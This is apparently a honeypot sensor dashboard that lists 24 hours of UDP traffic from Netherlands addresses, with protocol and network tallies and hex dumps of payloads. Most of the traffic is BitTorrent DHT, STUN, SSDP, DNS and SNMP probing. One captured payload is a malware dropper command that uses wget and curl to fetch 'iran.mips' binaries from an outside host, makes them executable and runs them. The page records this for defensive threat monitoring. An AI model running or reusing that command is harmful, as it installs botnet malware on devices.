UDP traffic

Datagrams matching country:NL sent to HoneyLabs sensors over UDP in the last 24 hours. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

Clear search

Datagrams

Source addresses

Networks

Countries

Destination ports

Protocols

bittorrent from 2 sources29
stun from 1 source4
dns from 2 sources4
raw from 3 sources3
snmp from 1 source1

Destination ports

39131/udp from 2 sources29
53/udp from 2 sources4
3478/udp from 1 source4
161/udp from 1 source1
443/udp from 1 source1
520/udp from 1 source1
9034/udp from 1 source1

DNS questions

4 queries and 0 unsolicited answers. An answer nobody asked for means a resolver was given a forged source address.

DNS record types

A3
TXT1

Networks

AS1136 KPN B.V. from 1 source19
AS60781 LeaseWeb Netherlands B.V. from 1 source10
AS219502 Storm Industries LLC from 2 sources5
AS1103 SURF B.V. from 2 sources4
AS197170 TechTies Inc. from 1 source1
AS12876 Scaleway SAS from 1 source1
AS202425 IP Volume inc from 1 source1

Countries

NL The Netherlands41

Source addresses (unverified)

Address	Network	Cc	Datagrams	Last seen (UTC)
81.207.3.7	AS1136 KPN B.V.	NL	19	2026-10-05 20:11
94.75.213.36	AS60781 LeaseWeb Netherlands B.V.	NL	10	2026-10-05 12:23
94.154.43.251	AS219502 Storm Industries LLC	NL	4	2026-10-05 18:37
192.87.173.76	AS1103 SURF B.V.	NL	3	2026-10-05 13:13
93.174.95.106	AS202425 IP Volume inc	NL	1	2026-10-05 14:17
94.154.43.242	AS219502 Storm Industries LLC	NL	1	2026-10-05 18:38
51.158.205.203	AS12876 Scaleway SAS	NL	1	2026-10-05 17:32
45.153.34.163	AS197170 TechTies Inc.	NL	1	2026-10-05 20:04
145.90.8.9	AS1103 SURF B.V.	NL	1	2026-10-05 16:53

Latest datagrams

2026-10-05 20:11:4281.207.3.7to 39131/udpbittorrentNL

A·HT·U·P·

payload bytes

00000000  41 00 48 54 84 1c 55 b1  00 00 00 00 00 10 00 00  |A.HT..U.........|
00000010  50 ee 00 00                                       |P...|

2026-10-05 20:11:3681.207.3.7to 39131/udpbittorrentNL

A·HT· ·P·

payload bytes

00000000  41 00 48 54 83 c0 8f 0a  00 00 00 00 00 10 00 00  |A.HT............|
00000010  50 ee 00 00                                       |P...|

2026-10-05 20:11:3381.207.3.7to 39131/udpbittorrentNL

A·HT·S·P·

payload bytes

00000000  41 00 48 54 83 8d 53 e0  00 00 00 00 00 10 00 00  |A.HT..S.........|
00000010  50 ee 00 00                                       |P...|

2026-10-05 20:06:1181.207.3.7to 39131/udpbittorrentNL

A·΋p^X·f·

payload bytes

00000000  41 00 ce 8b 70 5e 58 86  00 00 00 00 00 10 00 00  |A...p^X.........|
00000010  66 aa 00 00                                       |f...|

2026-10-05 20:06:0581.207.3.7to 39131/udpbittorrentNL

A·΋p·.·f·

payload bytes

00000000  41 00 ce 8b 70 02 2e cb  00 00 00 00 00 10 00 00  |A...p...........|
00000010  66 aa 00 00                                       |f...|

2026-10-05 20:06:0281.207.3.7to 39131/udpbittorrentNL

A·΋o·*·f·

payload bytes

00000000  41 00 ce 8b 6f d2 e4 2a  00 00 00 00 00 10 00 00  |A...o..*........|
00000010  66 aa 00 00                                       |f...|

2026-10-05 20:04:2845.153.34.163to 443/udprawNL

M-SEARCH ST:ssdp:all MAN:"ssdp:discover"

payload bytes

00000000  4d 2d 53 45 41 52 43 48  0d 0a 53 54 3a 73 73 64  |M-SEARCH..ST:ssd|
00000010  70 3a 61 6c 6c 0d 0a 4d  41 4e 3a 22 73 73 64 70  |p:all..MAN:"ssdp|
00000020  3a 64 69 73 63 6f 76 65  72 22 0d 0a              |:discover"..|

2026-10-05 20:01:3381.207.3.7to 39131/udpbittorrentNL

A·=_·@·

payload bytes

00000000  41 00 e1 3d 5f cf 40 a2  00 00 00 00 00 10 00 00  |A..=_.@.........|
00000010  ad fb 00 00                                       |....|

2026-10-05 20:01:2781.207.3.7to 39131/udpbittorrentNL

A·=_s·~·

payload bytes

00000000  41 00 e1 3d 5f 73 c9 7e  00 00 00 00 00 10 00 00  |A..=_s.~........|
00000010  ad fb 00 00                                       |....|

2026-10-05 20:01:2481.207.3.7to 39131/udpbittorrentNL

A·=_@· ·

payload bytes

00000000  41 00 e1 3d 5f 40 b9 0d  00 00 00 00 00 10 00 00  |A..=_@..........|
00000010  ad fb 00 00                                       |....|

2026-10-05 19:59:2181.207.3.7to 39131/udpbittorrentNL

A·W·x·

payload bytes

00000000  41 00 96 ff 57 ee 78 d3  00 00 00 00 00 10 00 00  |A...W.x.........|
00000010  92 85 00 00                                       |....|

2026-10-05 19:59:1581.207.3.7to 39131/udpbittorrentNL

A·W·

payload bytes

00000000  41 00 96 ff 57 92 e9 96  00 00 00 00 00 10 00 00  |A...W...........|
00000010  92 85 00 00                                       |....|

2026-10-05 19:59:1281.207.3.7to 39131/udpbittorrentNL

A·Wb·

payload bytes

00000000  41 00 96 ff 57 62 94 16  00 00 00 00 00 10 00 00  |A...Wb..........|
00000010  92 85 00 00                                       |....|

2026-10-05 19:47:3581.207.3.7to 39131/udpbittorrentNL

A·ъ-·N?·k·

payload bytes

00000000  41 00 d1 8a 2d de 4e 3f  00 00 00 00 00 10 00 00  |A...-.N?........|
00000010  bf 6b 00 00                                       |.k..|

2026-10-05 19:47:2981.207.3.7to 39131/udpbittorrentNL

A·ъ-·k·

payload bytes

00000000  41 00 d1 8a 2d 82 be d9  00 00 00 00 00 10 00 00  |A...-...........|
00000010  bf 6b 00 00                                       |.k..|

2026-10-05 19:47:2681.207.3.7to 39131/udpbittorrentNL

A·ъ-Mߨ·k·

payload bytes

00000000  41 00 d1 8a 2d 4d df a8  00 00 00 00 00 10 00 00  |A...-M..........|
00000010  bf 6b 00 00                                       |.k..|

2026-10-05 19:46:2381.207.3.7to 39131/udpbittorrentNL

A·)·X·

payload bytes

00000000  41 00 8d d7 29 93 92 f7  00 00 00 00 00 10 00 00  |A...)...........|
00000010  9f 58 00 00                                       |.X..|

2026-10-05 19:46:1781.207.3.7to 39131/udpbittorrentNL

A·)7·X·X·

payload bytes

00000000  41 00 8d d7 29 37 e2 58  00 00 00 00 00 10 00 00  |A...)7.X........|
00000010  9f 58 00 00                                       |.X..|

2026-10-05 19:46:1481.207.3.7to 39131/udpbittorrentNL

A·)·:·X·

payload bytes

00000000  41 00 8d d7 29 03 3a ac  00 00 00 00 00 10 00 00  |A...).:.........|
00000010  9f 58 00 00                                       |.X..|

2026-10-05 19:45:2081.207.3.7to 39131/udpbittorrentNL

d1:ad2:id20:k·jy%·a@·;j·(·6:target20:k·jy%·a@·;j·(·e1:q9:find_node1:t4:·g·1:v4:UT·1:y1:qe

payload bytes

00000000  64 31 3a 61 64 32 3a 69  64 32 30 3a 6b 0e bf 6a  |d1:ad2:id20:k..j|
00000010  79 25 08 61 40 14 b1 3b  6a a5 11 28 c1 8c d6 d4  |y%.a@..;j..(....|
00000020  36 3a 74 61 72 67 65 74  32 30 3a 6b 0e bf 6a 79  |6:target20:k..jy|
00000030  25 08 61 40 14 b1 3b 6a  a5 11 28 c1 8c d6 d4 65  |%.a@..;j..(....e|
00000040  31 3a 71 39 3a 66 69 6e  64 5f 6e 6f 64 65 31 3a  |1:q9:find_node1:|
00000050  74 34 3a a6 67 00 00 31  3a 76 34 3a 55 54 b9 1e  |t4:.g..1:v4:UT..|
00000060  31 3a 79 31 3a 71 65                              |1:y1:qe|

2026-10-05 18:38:3794.154.43.242to 9034/udprawNL

wget http://94.154.43.242/iran.mips -O mips || curl http://94.154.43.242/iran.mips -o mips; chmod 777 mips; ./mips catloader; wget http://94.154.43.242/iran.mipsel -O mipsel || curl http://94.154.43.2

payload bytes

00000000  77 67 65 74 20 68 74 74  70 3a 2f 2f 39 34 2e 31  |wget http://94.1|
00000010  35 34 2e 34 33 2e 32 34  32 2f 69 72 61 6e 2e 6d  |54.43.242/iran.m|
00000020  69 70 73 20 2d 4f 20 6d  69 70 73 20 7c 7c 20 63  |ips -O mips || c|
00000030  75 72 6c 20 68 74 74 70  3a 2f 2f 39 34 2e 31 35  |url http://94.15|
00000040  34 2e 34 33 2e 32 34 32  2f 69 72 61 6e 2e 6d 69  |4.43.242/iran.mi|
00000050  70 73 20 2d 6f 20 6d 69  70 73 3b 20 63 68 6d 6f  |ps -o mips; chmo|
00000060  64 20 37 37 37 20 6d 69  70 73 3b 20 2e 2f 6d 69  |d 777 mips; ./mi|
00000070  70 73 20 63 61 74 6c 6f  61 64 65 72 3b 20 77 67  |ps catloader; wg|
00000080  65 74 20 68 74 74 70 3a  2f 2f 39 34 2e 31 35 34  |et http://94.154|
00000090  2e 34 33 2e 32 34 32 2f  69 72 61 6e 2e 6d 69 70  |.43.242/iran.mip|
000000a0  73 65 6c 20 2d 4f 20 6d  69 70 73 65 6c 20 7c 7c  |sel -O mipsel |||
000000b0  20 63 75 72 6c 20 68 74  74 70 3a 2f 2f 39 34 2e  | curl http://94.|
000000c0  31 35 34 2e 34 33 2e 32  34 32 2f 69 72 61 6e 2e  |154.43.242/iran.|
000000d0  6d 69 70 73 65 6c 20 2d  6f 20 6d 69 70 73 65 6c  |mipsel -o mipsel|
000000e0  3b 20 63 68 6d 6f 64 20  37 37 37 20 6d 69 70 73  |; chmod 777 mips|
000000f0  65 6c 3b 20 2e 2f 6d 69  70 73 65 6c 20 63 61 74  |el; ./mipsel cat|
... 263 bytes shown in part

2026-10-05 18:37:0994.154.43.251to 3478/udpstunNL

·#4EVgx·#4EVg·

payload bytes

00000000  00 01 00 08 12 23 34 45  56 67 78 89 90 01 12 23  |.....#4EVgx....#|
00000010  34 45 56 67 00 03 00 04  00 00 00 00 00           |4EVg.........|

2026-10-05 17:32:5351.158.205.203to 53/udpdnsNL

DNS query TXT/CH version.bind

payload bytes

00000000  f6 49 01 20 00 01 00 00  00 00 00 00 07 76 65 72  |.I. .........ver|
00000010  73 69 6f 6e 04 62 69 6e  64 00 00 10 00 03 00     |sion.bind......|

2026-10-05 16:53:20145.90.8.9to 161/udpsnmpNL

0)·public·7·0·0·+·

payload bytes

00000000  30 29 02 01 01 04 06 70  75 62 6c 69 63 a0 1c 02  |0).....public...|
00000010  04 37 8f a7 87 02 01 00  02 01 00 30 0e 30 0c 06  |.7.........0.0..|
00000020  08 2b 06 01 02 01 01 01  00 05 00                 |.+.........|

2026-10-05 16:08:0594.154.43.251to 3478/udpstunNL

·#4EVgx·#4EVg·

payload bytes

00000000  00 01 00 08 12 23 34 45  56 67 78 89 90 01 12 23  |.....#4EVgx....#|
00000010  34 45 56 67 00 03 00 04  00 00 00 00 00           |4EVg.........|